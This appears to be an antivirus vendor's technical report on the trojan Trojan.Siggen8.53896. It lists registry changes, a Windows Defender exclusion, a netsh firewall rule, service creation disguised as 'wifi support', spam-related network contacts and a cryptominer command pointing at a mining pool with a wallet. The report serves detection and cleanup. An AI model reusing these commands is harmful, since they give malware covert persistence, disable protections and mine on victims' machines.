Trojan.Siggen8.53896

Technical Information

To ensure autorun and distribution

Creates the following services

[<HKLM>\System\CurrentControlSet\Services\dfsvvoaz] 'Start' = '00000002'
[<HKLM>\System\CurrentControlSet\Services\dfsvvoaz] 'ImagePath' = '%WINDIR%\SysWOW64\dfsvvoaz\xokrihlp.exe /d"<Full path to file>"'
[<HKLM>\SYSTEM\CurrentControlSet\services\dfsvvoaz] 'ImagePath' = '%WINDIR%\SysWOW64\dfsvvoaz\xokrihlp.exe'

Malicious functions

To complicate detection of its presence in the operating system,

adds antivirus exclusion with following registry keys:

[<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\dfsvvoaz' = '00000000'

Executes the following

'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul

Injects code into

the following system processes:

%WINDIR%\syswow64\svchost.exe

Modifies file system

Creates the following files

%TEMP%\xokrihlp.exe
%WINDIR%\syswow64\config\systemprofile:.repos

Moves the following files

from %TEMP%\xokrihlp.exe to %WINDIR%\syswow64\dfsvvoaz\xokrihlp.exe

Deletes itself.

Network activity

Connects to

'sm##.##cureserver.net':25

TCP

HTTP GET requests

http://www.google.com/

'17#.#11.49.43':417

'93.#79.68.4':417

'mx#.mail.ru':25

'ma##.immps.com':25

'th##.#nfonetweb.it':25

'mx##.omcnet.de':25

'85.##.119.25':417

'43.#31.4.7':443

'alt2.aspmx.l.google.com':25

'sc##.webio.no':25

'wi##iz.pl':25

'd7#####.##s.barracudanetworks.com':25

'mx#.#ilnet.es':25

'mx#.##tsolmail.net':25

'mx#########st-1.prod.hydra.sophos.com':25

'ma##.#illixhofer.at':25

'20#.#52.134.66':993

'46.#.52.109':417

'14#.#6.199.2':417

'19#.#.131.101':417

'gmail-smtp-in.l.google.com':25

'bi#####.herominers.com':10281

'mx####.##il.gm0.yahoodns.net':25

'mx#.###.#ailpod1-cph3.one.com':25

'aspmx.l.google.com':25

'sp######d.redwarning.com':25

'at###.cm.sonera.com':25

'85.##4.134.88':481

'in####d.smtp.vt.edu':25

'ho#########.olc.protection.outlook.com':25

'alt1.aspmx.l.google.com':25

'd.##.berlitz.eu':25

'ma##.##bailrehab.com':25

'as##.#oftdebut.com':25

'ma##.#mmploy.biz':25

'fi####.cntdtech.com':25

'cu#######-1.in.mailcontrol.com':25

'eu#.###.#rotection.outlook.com':25

'ma##.##earmintrhino.com':25

UDP

DNS ASK mi##########m.mail.protection.outlook.com
DNS ASK ju####ecurve.co.uk
DNS ASK ma####rward.lcn.com
DNS ASK us.#bm.com
DNS ASK vi##ilio.it
DNS ASK sm####n.virgilio.it
DNS ASK li##ro.it
DNS ASK sm####n.libero.it
DNS ASK wi###xhofer.at
DNS ASK mx.###tordesign.com
DNS ASK ju##per.net
DNS ASK mx#######201.gslb.pphosted.com
DNS ASK ic####ombard.com
DNS ASK hy#####9.icicibank.com
DNS ASK ma##.#illixhofer.at
DNS ASK sp#####solutions.com
DNS ASK do#o.it
DNS ASK mx#######901.gslb.pphosted.com
DNS ASK ca###four.com
DNS ASK mx#.mail.ru
DNS ASK te###scale.com
DNS ASK ms####.datagroup.fi
DNS ASK te####cienze.com
DNS ASK th##.#nfonetweb.it
DNS ASK pf##er.com
DNS ASK ma#l.ru
DNS ASK mx#######f02.gslb.pphosted.com
DNS ASK ma####.exxonmobil.com
DNS ASK te#####rhidrolik.com.tr
DNS ASK alt2.aspmx.l.google.com
DNS ASK wi###winsen.de
DNS ASK mx##.omcnet.de
DNS ASK te###set.com
DNS ASK ex###mobil.com
DNS ASK wi##ix.no
DNS ASK sc##.webio.no
DNS ASK wi##iz.pl
DNS ASK so####atering.co.uk
DNS ASK bu###nstar.com
DNS ASK ip####le.bologna.it
DNS ASK ep#####a.iperbole.bo.it
DNS ASK sp###mark.co.uk
DNS ASK mx#########st-1.prod.hydra.sophos.com
DNS ASK bu###nstudio.ie
DNS ASK tr####gmatica.com
DNS ASK co###oweb.com
DNS ASK ho##ail.de
DNS ASK eu#.###.#rotection.outlook.com
DNS ASK sp####intrhino.com
DNS ASK ma##.##earmintrhino.com
DNS ASK ro##ig.cl
DNS ASK ru####heville.com
DNS ASK prescriptionplumbing.com
DNS ASK tr#####mastermind.com
DNS ASK sp####l-data.com
DNS ASK mx#.##tsolmail.net
DNS ASK tr###ngintl.com
DNS ASK ta##cio.com
DNS ASK mx#.#ilnet.es
DNS ASK si#.edu
DNS ASK mx######76001.pphosted.com
DNS ASK wi###o.com.au
DNS ASK mx#.###.server-mail.com
DNS ASK ry####gement.com
DNS ASK d7#####.##s.barracudanetworks.com
DNS ASK cw###aica.com
DNS ASK mx##.#pcmail.net
DNS ASK wi###wslive.com
DNS ASK na#.###.#rotection.outlook.com
DNS ASK be###y-art.it
DNS ASK ba###rberry.net
DNS ASK bu###nsny.com
DNS ASK sm##.##cureserver.net
DNS ASK google.com
DNS ASK ma##.immps.com
DNS ASK im##s.com
DNS ASK te###sonera.com
DNS ASK at###.cm.sonera.com
DNS ASK sc###golf.com
DNS ASK aspmx.l.google.com
DNS ASK be####eucanada.com
DNS ASK ja##btom.dk
DNS ASK mx#.###.#ailpod1-cph3.one.com
DNS ASK sp######d.redwarning.com
DNS ASK cu#######-1.in.mailcontrol.com
DNS ASK ja###time.com
DNS ASK vt.edu
DNS ASK in####d.smtp.vt.edu
DNS ASK fl##t.com
DNS ASK re###nic.com
DNS ASK pr####cia.roma.it
DNS ASK ao#.com
DNS ASK mx####.##il.gm0.yahoodns.net
DNS ASK ao#.co.uk
DNS ASK gm##l.com
DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
DNS ASK gmail-smtp-in.l.google.com
DNS ASK 19#.###.#11.95.bl.spamcop.net
DNS ASK ti##ali.it
DNS ASK 19#.###.#11.95.zen.spamhaus.org
DNS ASK 19#.###.211.95.in-addr.arpa
DNS ASK et###.#ail.tiscali.it
DNS ASK bi#####.herominers.com
DNS ASK 19#.###.#11.95.cbl.abuseat.org
DNS ASK ch##ter.net
DNS ASK mx#.#harter.net
DNS ASK uk.#bm.com
DNS ASK mx######b2d01.pphosted.com
DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
DNS ASK ci########-c2.fluidtechnology.com
DNS ASK se.#bm.com
DNS ASK ho##ail.com
DNS ASK ho#########.olc.protection.outlook.com
DNS ASK tp#.org.nz
DNS ASK tp#.or.th
DNS ASK as##.#oftdebut.com
DNS ASK in##nd.it
DNS ASK sm####n.inwind.it
DNS ASK nt###rld.com
DNS ASK mx.##.##mail.iss.as9143.net
DNS ASK cl####nternet.fr
DNS ASK sm###in.sfr.fr
DNS ASK be##itz.es
DNS ASK li####dbrands.com
DNS ASK mx#######f01.gslb.pphosted.com
DNS ASK ju###lrehab.com
DNS ASK ma##.##bailrehab.com
DNS ASK im##loy.biz
DNS ASK d.##.berlitz.eu
DNS ASK fi####.cntdtech.com
DNS ASK be##itz.de
DNS ASK tw##c.com
DNS ASK ja###tribe.com
DNS ASK mx##.1and1.com
DNS ASK ja####riplett.com
DNS ASK jm.com
DNS ASK mx#######701.gslb.pphosted.com
DNS ASK ca##ma.nl
DNS ASK mx.##.##il.iss.as9143.net
DNS ASK ne##e.com
DNS ASK re###nicna.com
DNS ASK alt1.aspmx.l.google.com
DNS ASK hi###logum.com
DNS ASK ai#.com
DNS ASK am####04.aig.com
DNS ASK wh###.ksu.edu
DNS ASK mx#.#c.ksu.edu
DNS ASK ma##.#mmploy.biz
DNS ASK pr#####ptionhope.com

Miscellaneous

Creates and executes the following

'%WINDIR%\syswow64\dfsvvoaz\xokrihlp.exe' /d"<Full path to file>"
'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\dfsvvoaz\' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\xokrihlp.exe" %WINDIR%\SysWOW64\dfsvvoaz\' (with hidden window)
'%WINDIR%\syswow64\sc.exe' create dfsvvoaz binPath= "%WINDIR%\SysWOW64\dfsvvoaz\xokrihlp.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
'%WINDIR%\syswow64\sc.exe' description dfsvvoaz "wifi internet conection"' (with hidden window)
'%WINDIR%\syswow64\sc.exe' start dfsvvoaz' (with hidden window)
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)

Executes the following

'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\dfsvvoaz\
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\xokrihlp.exe" %WINDIR%\SysWOW64\dfsvvoaz\
'%WINDIR%\syswow64\sc.exe' create dfsvvoaz binPath= "%WINDIR%\SysWOW64\dfsvvoaz\xokrihlp.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
'%WINDIR%\syswow64\sc.exe' description dfsvvoaz "wifi internet conection"
'%WINDIR%\syswow64\sc.exe' start dfsvvoaz
'%WINDIR%\syswow64\svchost.exe'
'%WINDIR%\syswow64\svchost.exe' --algo=cn-heavy/tube -o bittube.herominers.com:10281 -u bs4jqvyUpC4XEDfBZxFG5N5UNC5ZymPnPQhmabvm4z8MM5geV7LUfhpfe7GtNBVdseY3aBBQd3in8YoXzVH32LXL2vjrv1wm4.55000 -p k -k

Tecnologías

Términos

Formación y educación

Mitos

Technical Information

Curing recommendations

Free trial